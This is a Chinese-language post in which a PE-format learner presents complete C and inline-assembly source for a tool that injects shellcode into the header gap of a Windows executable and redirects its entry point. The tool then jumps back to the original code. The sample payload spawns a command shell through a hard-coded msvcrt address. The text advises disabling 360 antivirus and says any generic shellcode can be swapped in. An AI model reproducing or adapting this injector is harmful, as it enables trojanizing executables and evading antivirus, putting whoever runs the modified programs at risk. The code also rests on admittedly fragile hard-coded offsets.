本人菜鸟,学识浅薄,若有纰漏,还望高人指正。
    最新学习PE结构,觉得略懂一二,于是想写一个能在PE结构中插入一小段补丁程序的程序,其功能是当PE被加载进内存后,补丁程序先于原程序运行,后才将执行权限转交给原程序。
    补丁在PE中的大致位置如下所示:
                   --------------------------------
                   |             DOS 头           |
                   --------------------------------
                   |             DOS Stub         |
                   --------------------------------   <---注意:DOS Stub 和补丁程序有部分重叠
                   |             补丁程序         |
                   --------------------------------
                   |             PE 头            |
                   --------------------------------
                   |             节表             |
                   --------------------------------
                   |              节              |
                   --------------------------------
      在此需要特别说明的是,这里的补丁程序和DOS Stub有部分是重叠的,其目的是使得打了补丁后的程序能更加小。
    为了便于读者阅读,再次做一个约定:
      目标文件:你想给哪个文件打补丁,哪个文件就是目标文件。
    结果文件:打了补丁后的目标文件就是结果文件。
    程序的整体思路如下:
    1、获取目标文件的大小(以字节为单位),开辟一个目标文件的缓冲区(记为ObjectFileBuffer),其大小为目标文件的大小,将整个PE文件读入其中。
    2、获取目标文件中PE的各种信息,比如PE头的偏移,文件中节的对齐粒度等等。
    3、利用获取到的信息,计算结果文件大小。
    4、开辟一个结果文件缓冲区(记为SaveFileBuffer),其大小为结果文件大小。
    5、将ObjectFileBuffer中的DOS头和DOS Stub复制到SaveFileBuffer的起始处。
    6、将补丁程序的字节码复制到SaveFileBuffer中的适当位置。
    7、将ObjectFileBuffer中的其余部分复制到SaveFileBuffer中的补丁位置的后面。
    8、将SaveFileBuffer中的字节写入文件中

    以下是我的源代码,该源代码在Windows XP SP2 VC6.0下编译通过。
/*
*   本程序的功能:在PE空隙中插入一小段补丁程序,PE被加载后,补丁程序先于原程序运行,后将执行权转移给原程序
*   补丁在PE结构中的大致位置:
*                  --------------------------------
*                  |             DOS 头           |
*                  --------------------------------
*                  |             DOS Stub         |
*                  --------------------------------
*                  |             补丁程序         |
*                  --------------------------------
*                  |             PE 头            |
*                  --------------------------------
*                  |             节表             |
*                  --------------------------------
*                  |              节              |
*                  --------------------------------
*
*   注意:为了使程序字节变得更小,在这里补丁程序和DOS Stub部分是重合的
*        本程序在Windows XP SP2 VC6.0下编译通过
*        请在测试本程序时关闭360或者将其添加为信任,否则会给您的测试带来不便
*/
#include <windows.h>
#include <stdio.h>


char cObjectFile[]="C:\\PE\\s.exe";//目标文件
char cSaveFile[]="C:\\PE\\new.exe";//结果文件
char *szFileBuffer=NULL;
char *szOldFile=NULL;

//实用补丁程序字节码
DWORD dwPatchSize;
char* cPatch;

/*
*    请将补丁字节码粘贴在这里,后面跟随若干个90,请确保该_cPatch的缓冲区比较小,
*    如果缓冲区过大,可能会使补丁程序无法正常跳转到原程序入口,
*    或者使补丁不能正常插入到原程序中
*    建议缓冲区大小为8的倍数
*/

//待用补丁程序字节码
DWORD _dwPatchSize=192;
char* _cPatch=new char[_dwPatchSize]=//本补丁的功能是弹出一个cmd,其默认msvcrt.dll已被加载
"\x55"                               
"\x8b\xec"                           
"\x33\xff"
"\x57"
"\x83\xec\x08"
"\xc6\x45\xfe\x6d"
"\xc6\x45\xfd\x6f"
"\xc6\x45\xfc\x63"
"\xc6\x45\xfb\x2e"
"\xc6\x45\xfa\x64"
"\xc6\x45\xf9\x6e"
"\xc6\x45\xf8\x61"
"\xc6\x45\xf7\x6d"
"\xc6\x45\xf6\x6d"
"\xc6\x45\xf5\x6f"
"\xc6\x45\xf4\x63"
"\x8d\x45\xf4"
"\x50"
"\xb8\xc7\x93\xbf\x77"
"\xff\xd0"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90";
DWORD dwPatchFOA;//补丁程序FOA
DWORD ddMaxSizePatch;//可以使用的最大容量补丁程序

////////////////////////////
//PE信息
DWORD dwe_lfanew=0x3c;//常量
DWORD ddPEHeaderSize=248;//PE头的大小-常量
DWORD dwSectionHeaderFileOffset=20;//节表头到文件偏移项的偏移-常量
DWORD dwSectionHeaderSize=40;//一个节表项的大小-常量

DWORD ddHeaderAndSectionSize;//头+节表在文件中总大小:DOS头+PE头+节表
LONG e_lfanew=0;
DWORD dwDosSize=0;//DOS头和DOS Stub的总大小
DWORD ddAddressOfEntryPoint;//程序执行入口RVA
WORD wNumberOfSection;//PE中节的数量
DWORD dwSectionTableStart;//节表起始处的FOA
DWORD dwDataDirectorySize=0;//数据目录数组的总大小
DWORD ddNumberOfRvaAndSizes;//数据目录项目个数
DWORD ddSegmentOffset;//节偏移
DWORD ddSectionAlignment;//内存中节的对齐粒度
DWORD ddFileAlignment;//文件中节的对齐粒度

char* ddtextName=new char[6];//.text节的名字
DWORD ddtextSizeOfRawData;//.text节的在文件中对齐后的尺寸
DWORD ddtextFileOffset;//.text节在文件中的偏移
DWORD ddtextRVA;//.text节的RVA

DWORD ddPatchRVA;//补丁起始地址RVA
DWORD ddAddressOfEntryPointXX;//原始程序入口RVA与新入口RVA跳转时的XX
BYTE byE9=233;//长跳转指令字节码 E9 XXXXXXXX


///////////////////////////////////
//导入表
DWORD ddITRVA;//导入表起始RVA
DWORD ddITFOA;//导入表起始FOA
DWORD ddITFileaddress;//导入表在内存中的文件开始地址
DWORD ddITMemoryaddress;//导入表内存的开始地址
DWORD ddIATRVA;//导入函数地址表RVA


///////////////////////////////////
//动态连接库的数量
DWORD ddNumberOfLibrary;
//某一个动态链接库的信息
char* addLibName=new char[100];//指向的动态链接库的名字
DWORD ddValueOfBridge1;//桥1的内容,一个RVA
DWORD ddValueOfBridge2;//桥2的内容
////////////////////////////////

void GetPEInformation(char* file)
{
  HANDLE h;
  DWORD readed;
  h=CreateFile(file,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  
  //获得文件的大小
  DWORD dwFileSize;
  dwFileSize=GetFileSize(h,NULL);

  //读取原始文件
  szOldFile=new char[dwFileSize+1];
  ReadFile(h,szOldFile,dwFileSize,&readed,NULL);

  __asm{
    pushf
    push ebp
    mov ebp,esp
    //start
    mov eax,dwe_lfanew
    mov ecx,szOldFile
    mov ebx,[eax+ecx]
    mov e_lfanew,ebx;获得e_lfanew

    ;计算DOS头和DOS Stub的总大小
    mov dwDosSize,ebx

    ;获得原始程序入口RVA
    mov eax,ebx
    mov eax,[ecx+ebx+28h]
    mov ddAddressOfEntryPoint,eax

    ;获得内存中节的对齐粒度
    xor eax,eax
    mov eax,dwDosSize
    add eax,38h
    xor ecx,ecx
    mov ecx,szOldFile
    mov ebx,[ecx+eax]
    mov ddSectionAlignment,ebx
    ;获得文件中节的对齐粒度
    add eax,4h
    mov ebx,[ecx+eax]
    mov ddFileAlignment,ebx

    ;计算节偏移
    mov eax,ddSectionAlignment
    mov ebx,ddFileAlignment
    sub eax,ebx
    mov ddSegmentOffset,eax


    ;获得PE中节的数量
    xor eax,eax
    mov ebx,dwDosSize
    mov ecx,szOldFile
    mov ax,[ecx+ebx+6h]
    mov wNumberOfSection,ax


    ;获取数据目录数组的目录项数
    xor eax,eax
    mov eax,dwDosSize
    add eax,74h
    mov ecx,szOldFile
    mov ebx,[ecx+eax]
    mov ddNumberOfRvaAndSizes,ebx

    ;计算.text节-------------------------------------------------不通用
    ;1、在文件的偏移
    ;2、在文件中对齐后的尺寸
    ;3、该节的RVA
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    mov ecx,szOldFile
    add ecx,dwDosSize
    add ecx,ddPEHeaderSize    
    mov bl,[ecx+1]
    sub ebx,'t'
    cmp ebx,0
    jnz allover
  
    mov eax,ddtextName
    mov bl,[ecx]
    mov [eax],bl    ;'.'
    mov bl,[ecx+1]  
    mov [eax+1],bl  ;'t'
    mov bl,[ecx+2]
    mov [eax+2],bl  ;'e'
    mov bl,[ecx+3]
    mov [eax+3],bl  ;'x'
    mov bl,[ecx+4]
    mov [eax+4],bl  ;'t'
    mov bl,[ecx+5]
    mov [eax+5],bl  ;' '

    add ecx,0ch     ;获得RVA
    mov eax,[ecx]
    mov ddtextRVA,eax

    add ecx,4h     ;获得尺寸
    mov eax,[ecx]
    mov ddtextSizeOfRawData,eax

    add ecx,4h       ;获得偏移
    mov eax,[ecx]
    mov ddtextFileOffset,eax
    //end
allover:
    pop ebp
    popf
  }
  //计算数据目录数组的总大小
  dwDataDirectorySize=8*ddNumberOfRvaAndSizes;
  __asm{
    pushf
    push ebp
    mov ebp,esp
    //start
    ;计算节表起始处的FOA
    xor eax,eax
    mov eax,dwDosSize
    add eax,78h
    add eax,dwDataDirectorySize
    mov dwSectionTableStart,eax

    ;计算导入表起始RVA
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    mov eax,dwDosSize
    add eax,80h
    add eax,szOldFile
    mov ebx,[eax]
    mov ddITRVA,ebx

    ;计算导入函数地址表起始RVA
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    mov eax,dwDosSize
    add eax,0d8h
    add eax,szOldFile
    mov ebx,[eax]
    mov ddIATRVA,ebx

    ;计算导入表起始的文件偏移FOA-----------------------------------------不通用?,默认导入函数起始地址在.text节中
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    mov eax,ddITRVA
    mov ebx,ddtextRVA
    sub eax,ebx
    mov ebx,ddtextFileOffset
    add ebx,eax
    mov ddITFOA,ebx
    
    ;计算导入表在内存中的文件开始地址
    xor eax,eax
    xor ebx,ebx
    mov eax,szOldFile
    add eax,ddITFOA
    mov ddITFileaddress,eax

    ////////////////////////////////////////////////////////////某一个动态连接库的信息////////////////////////////////////////////////////////////////////////////////
    ///////////////////////////////////////////////////////////////////开始///////////////////////////////////////////////////////
    ;获得该动态连接库的名字
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    mov eax,szOldFile
    add eax,ddITFOA
    add eax,0ch
    mov ebx,[eax]
    mov eax,ddtextRVA
    sub ebx,eax
    mov eax,ddtextFileOffset
    add eax,ebx
    add eax,szOldFile
    mov ebx,addLibName
      jmp CopyString
CopyString:
    ;eax->ebx
    xor ecx,ecx
    xor edx,edx
    mov edx,0
ag:
    mov cl,[eax+edx]
    cmp cl,0
    jz copyover
    mov [ebx+edx],cl
    inc edx
    jmp ag
copyover:
    mov [ebx+edx],cl

    
    
    //DWORD ddValueOfBridge1;//桥1的内容,一个RVA
    ;获得该动态链接库的桥1值
    xor eax,eax
    xor ebx,ebx
    mov eax,ddITFileaddress
    mov ebx,[eax]
    mov ddValueOfBridge1,ebx

    //DWORD ddValueOfBridge2;//桥2的内容
    ;获得该动态连接库的桥2值
    xor eax,eax
    xor ebx,ebx
    mov eax,ddITFileaddress
    mov ebx,[eax+10h]
    mov ddValueOfBridge2,ebx
    //////////////////////////////////////////////////////////////////结束////////////////////////////////////////////////////////
    //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

    ;计算动态连接库的数量
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx

    mov eax,ddITFileaddress
    add eax,0ch
againlib:
    mov ebx,[eax]
    cmp ebx,0
    jnz plusone
    jmp overlib
plusone:
    inc ecx;ecx表示数量
    add eax,8h
    add eax,0ch
    jmp againlib

overlib:
    mov ddNumberOfLibrary,ecx

    ;计算头+节表在文件中总大小:DOS头+PE头+节表 
    xor eax,eax 
    xor ebx,ebx
    xor ecx,ecx
    mov eax,dwDosSize
    add eax,ddPEHeaderSize
    mov cx,wNumberOfSection
againallsize:
    cmp cx,0
    jz overallsize
    add eax,dwSectionHeaderSize
    dec cx
    jmp againallsize
overallsize:
    mov ddHeaderAndSectionSize,eax

    //11*16=176bytes B0-按经验,不通用
    add eax,0B0h
    mov ddHeaderAndSectionSize,eax

    ;得到补丁程序FOA
    xor eax,eax
    mov eax,ddHeaderAndSectionSize
    mov dwPatchFOA,eax

    ;计算可以使用的最大容量补丁程序
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    mov eax,ddSectionAlignment
    mov ebx,ddHeaderAndSectionSize
    sub eax,ebx
    mov ddMaxSizePatch,eax


    ;计算实用补丁程序大小
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    mov eax,ddHeaderAndSectionSize
    mov ebx,ddtextFileOffset
    sub ebx,eax
    mov dwPatchSize,ebx

    ;计算补丁起始地址RVA
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    mov eax,ddHeaderAndSectionSize
    mov ddPatchRVA,eax

    ;计算原始程序入口RVA与新的入口RVA之间跳转时的XX
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx

    mov eax,ddPatchRVA
    mov ecx,dwPatchSize
    add eax,ecx
    mov ebx,ddAddressOfEntryPoint
    sub ebx,eax
    mov ddAddressOfEntryPointXX,ebx



    //end
    pop ebp
    popf

  }

  //如果不需要输出原程序的信息,可以将下面的输出注释起来
  printf("原程序绝对路径: %s\n",cObjectFile);
  printf("e_lfanew=0x%x\n",e_lfanew);
  printf("DOS Size = %d bytes\n",dwDosSize);
  printf("Number Of Section = %d \n",wNumberOfSection);
  printf("Address of Entry Point = 0x%x \n",ddAddressOfEntryPoint);
  printf("dwSectionTableStart =0x%x \n",dwSectionTableStart);
  printf("ddNumberOfRvaAndSizes = %d \n",ddNumberOfRvaAndSizes);
  printf("ddFileAlignment = 0x%x \n",ddFileAlignment);
  printf("ddSectionAlignment = 0x%x \n",ddSectionAlignment);
  printf("ddSegmentOffset = 0x%x \n",ddSegmentOffset);
  printf("动态链接库数量 : %d\n",ddNumberOfLibrary);
  printf("头+节表在文件中的总大小(作过调整): 0x%x\n",ddHeaderAndSectionSize);
  printf("单个内存文件头节内可以使用的最大容量补丁程序: 0x%x=%d bytes\n",ddMaxSizePatch,ddMaxSizePatch);

  printf("====================导入表===========================\n");
  printf("导入表RVA = 0x%x\n",ddITRVA);
  printf("导入表在内存中的文件起始地址 = 0x%x\n",ddITFileaddress);
  printf("导入表FOA = 0x%x\n",ddITFOA);
  printf("RVA of ITA = 0x%x\n",ddIATRVA);
  printf("第一个动态连接库的名字 : %s\n",addLibName);

  printf("====================节表==============================\n");
  printf("%s 文件中的偏移: 0x%x\n",ddtextName,ddtextFileOffset);
  printf("      文件中对齐后的尺寸: 0x%x\n",ddtextSizeOfRawData);
  printf("      节的RVA: 0x%x\n",ddtextRVA);

  delete szOldFile;
  CloseHandle(h);
}
//在PE间隙中插入程序
void ModifyExe(char* file)
{
  int nAddNumberOf200=0;//新增加的200字节个数,默认为不增加
  //首先计算实用补丁程序大小和待用补丁大小程序的差异,如果差异过大,则不允许插入补丁程序
  if(_dwPatchSize>dwPatchSize)
  {
    printf("不允许插入补丁程序\n");
    return ;
  }
  else
  {
      cPatch=new char[dwPatchSize];
    memset(cPatch,144,dwPatchSize);
    memcpy(cPatch,_cPatch,_dwPatchSize);
  }

  HANDLE h;
  DWORD readed;
  h=CreateFile(file,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  
  //获得文件的大小
  DWORD ddFileSize;
  ddFileSize=GetFileSize(h,NULL);
  
  //读取原始文件
  szOldFile=new char[ddFileSize+1];
  ReadFile(h,szOldFile,ddFileSize,&readed,NULL);
  
  //新文件的内容缓冲区
  szFileBuffer=new char[ddFileSize+dwPatchSize];
  
  //复制头+节表
  memcpy(szFileBuffer,szOldFile,ddHeaderAndSectionSize);
  
  //复制补丁程序
  memcpy(szFileBuffer+ddHeaderAndSectionSize,cPatch,dwPatchSize);
  
  //插入剩余部分字节
  memcpy(szFileBuffer+ddHeaderAndSectionSize+dwPatchSize,szOldFile+ddtextFileOffset,ddFileSize-ddtextFileOffset);

  //修改程序执行入口RVA-AddressOfEntryPoint
  __asm{
    pushf
    push ebp
    //start
      xor eax,eax
    xor ebx,ebx
    xor ecx,ecx
    mov eax,szFileBuffer
    add eax,dwDosSize
    add eax,28h
    mov ebx,ddPatchRVA
    mov [eax],ebx
    //end
    pop ebp
    popf
  }    

  //修改跳转到原始程序入口RVA的字节码 E9 XX
  __asm{
    pushf
    push ebp
    //start
    xor eax,eax
    xor ebx,ebx
    xor ecx,ecx

    mov eax,szFileBuffer
    add eax,dwPatchFOA
    add eax,dwPatchSize
    sub eax,4

    mov ebx,ddAddressOfEntryPointXX
    mov ecx,0
    mov [eax+3],cl
    mov [eax+2],cl
    mov cl,bh
    mov [eax+1],cl
    mov cl,bl
    mov [eax],cl
    mov cl,byE9
    mov [eax-1],cl

    //end
    pop ebp
    popf
  }
    CloseHandle(h);
  

  //写入新文件中
  h=CreateFile(cSaveFile,GENERIC_READ | GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
  WriteFile(h,szFileBuffer,ddFileSize+dwPatchSize,&readed,NULL);
  CloseHandle(h);
  
}
void main()
{
  GetPEInformation(cObjectFile);

  ModifyExe(cObjectFile);
}

       注意:在测试或者使用本程序时,请将你自己的补丁程序字节码复制到_cPatch所指向的缓冲区中,其字节数量尽可能得小,否则可能导致补丁程序无法正常跳转到原程序入口或者补丁程序无法正常插入到原程序中。请在测试本程序时关闭360或者将其添加为信任,否则会给您的测试带来不便。
    在给出的代码中,其补丁的功能是弹出一个cmd,所以在测试本程序之前,请确保你的目标文件已经加载了msvcrt.dll(system函数在msvcrt.dll中导出),否则cmd可能将不能正常弹出。
    _cPatchch中的字节码可以替换成任意的通用的shellcode。
    cObjectFile缓冲区中存放的是目标文件,cSaveFile缓冲区中存放的是结果文件,读者可以将他们替换成你自己的目标文件和结果文件。

      本程序还有许多地方做得不够完善,比如本程序的通用性较差,如果发生程序不能正常运行的情况,若您愿意,可以联系本人,本人会尽量完善之,使其通用。